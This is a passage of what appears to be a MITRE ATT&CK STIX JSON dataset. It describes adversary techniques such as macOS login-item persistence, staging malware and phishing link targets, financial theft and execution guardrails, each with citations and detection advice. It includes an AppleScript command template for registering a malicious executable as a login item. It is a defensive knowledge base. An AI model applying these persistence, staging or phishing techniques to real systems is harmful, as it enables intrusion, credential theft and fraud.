                    "source_name": "Adding Login Items",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                },
                {
                    "source_name": "Launch Service Keys Developer Apple",
                    "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1"
                },
                {
                    "source_name": "Launch Services Apple Developer",
                    "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
                    "url": "https://developer.apple.com/documentation/coreservices/launch_services"
                },
                {
                    "source_name": "Login Items AE",
                    "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
                    "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
                },
                {
                    "source_name": "Open Login Items Apple",
                    "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
                    "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
                },
                {
                    "source_name": "hexed osx.dok analysis 2019",
                    "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html"
                },
                {
                    "source_name": "ELC Running at startup",
                    "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
                    "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
                },
                {
                    "source_name": "Startup Items Eclectic",
                    "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
                    "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
                },
                {
                    "source_name": "Add List Remove Login Items Apple Script",
                    "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
                    "url": "https://gist.github.com/kaloprominat/6111584"
                },
                {
                    "source_name": "CheckPoint Dok",
                    "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
                    "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
                },
                {
                    "source_name": "objsee block blocking login items",
                    "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x31.html"
                },
                {
                    "source_name": "objsee netwire backdoor 2019",
                    "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x44.html"
                },
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                },
                {
                    "source_name": "SMLoginItemSetEnabled Schroeder 2013",
                    "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:47.788Z",
            "name": "Login Items",
            "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0",
            "created": "2021-03-17T20:04:09.331Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608",
                    "external_id": "T1608"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
                },
                {
                    "source_name": "Netskope GCP Redirection",
                    "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
                },
                {
                    "source_name": "Netskope Cloud Phishing",
                    "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "DigiCert Install SSL Cert",
                    "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
                    "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "Malwarebytes Heroku Skimmers",
                    "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
                    "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
                },
                {
                    "source_name": "Dragos Heroku Watering Hole",
                    "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
                    "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:12:21.613Z",
            "name": "Stage Capabilities",
            "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701",
            "created": "2021-03-17T20:35:08.429Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/005",
                    "external_id": "T1608.005"
                },
                {
                    "source_name": "Netskope GCP Redirection",
                    "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
                },
                {
                    "source_name": "Netskope Cloud Phishing",
                    "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
                },
                {
                    "source_name": "URI Unique",
                    "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
                    "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
                },
                {
                    "source_name": "Kaspersky-masking",
                    "description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.",
                    "url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"
                },
                {
                    "source_name": "Talos IPFS 2022",
                    "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
                    "url": "https://blog.talosintelligence.com/ipfs-abuse/"
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
                },
                {
                    "source_name": "URI",
                    "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
                    "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
                },
                {
                    "source_name": "URI Use",
                    "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
                    "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
                },
                {
                    "source_name": "iOS URL Scheme",
                    "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
                    "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
                },
                {
                    "source_name": "Intezer App Service Phishing",
                    "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
                },
                {
                    "source_name": "Cofense-redirect",
                    "description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.",
                    "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
                },
                {
                    "source_name": "mandiant-masking",
                    "description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                }
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            "modified": "2025-04-15T22:45:40.961Z",
            "name": "Link Target",
            "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)",
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            "x_mitre_contributors": [
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                "Diyar Saadi Ali",
                "Nikola Kovac"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "created": "2017-05-31T21:31:15.935Z",
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            "modified": "2025-04-25T15:15:50.032Z",
            "name": "Multi-Stage Channels",
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            "created": "2023-08-18T20:50:04.222Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1657",
                    "external_id": "T1657"
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                {
                    "source_name": "VEC",
                    "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.",
                    "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."
                },
                {
                    "source_name": "Crowdstrike-leaks",
                    "description": "Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.",
                    "url": "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/"
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                {
                    "source_name": "Mandiant-leaks",
                    "description": "DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs"
                },
                {
                    "source_name": "DOJ-DPRK Heist",
                    "description": "Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.",
                    "url": "https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and"
                },
                {
                    "source_name": "FBI-BEC",
                    "description": "FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.",
                    "url": "https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view"
                },
                {
                    "source_name": "FBI-ransomware",
                    "description": "FBI. (n.d.). Ransomware. Retrieved August 18, 2023.",
                    "url": "https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf"
                },
                {
                    "source_name": "AP-NotPetya",
                    "description": "FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.",
                    "url": "https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2"
                },
                {
                    "source_name": "Internet crime report 2022",
                    "description": "IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.",
                    "url": "https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf"
                },
                {
                    "source_name": "BBC-Ronin",
                    "description": "Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.",
                    "url": "https://www.bbc.com/news/technology-60933174"
                },
                {
                    "source_name": "wired-pig butchering",
                    "description": "Lily Hay Newman. (n.d.). \u2018Pig Butchering\u2019 Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.",
                    "url": "https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/"
                },
                {
                    "source_name": "NYT-Colonial",
                    "description": "Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.",
                    "url": "https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html"
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            "modified": "2025-04-15T22:36:03.465Z",
            "name": "Financial Theft",
            "description": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)",
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                    "phase_name": "impact"
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            "x_mitre_contributors": [
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                "Pawel Partyka, Microsoft Threat Intelligence",
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            "x_mitre_detection": "",
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            "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
            "created": "2019-01-31T02:10:08.261Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1480",
                    "external_id": "T1480"
                },
                {
                    "source_name": "FireEye Outlook Dec 2019",
                    "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"
                },
                {
                    "source_name": "Trellix-Qakbot",
                    "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.",
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                    "source_name": "FireEye Kevin Mandia Guardrails",
                    "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.",
                    "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/"
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            "modified": "2025-04-15T19:58:48.316Z",
            "name": "Execution Guardrails",
            "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)",
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                    "external_id": "T1619"
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                    "source_name": "ListObjectsV2",
                    "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.",
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                    "source_name": "List Blobs",
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            "created": "2020-12-17T02:14:34.178Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1606/001",
                    "external_id": "T1606.001"
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                {
                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
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                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
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            "modified": "2025-04-15T23:20:22.744Z",
            "name": "Web Cookies",
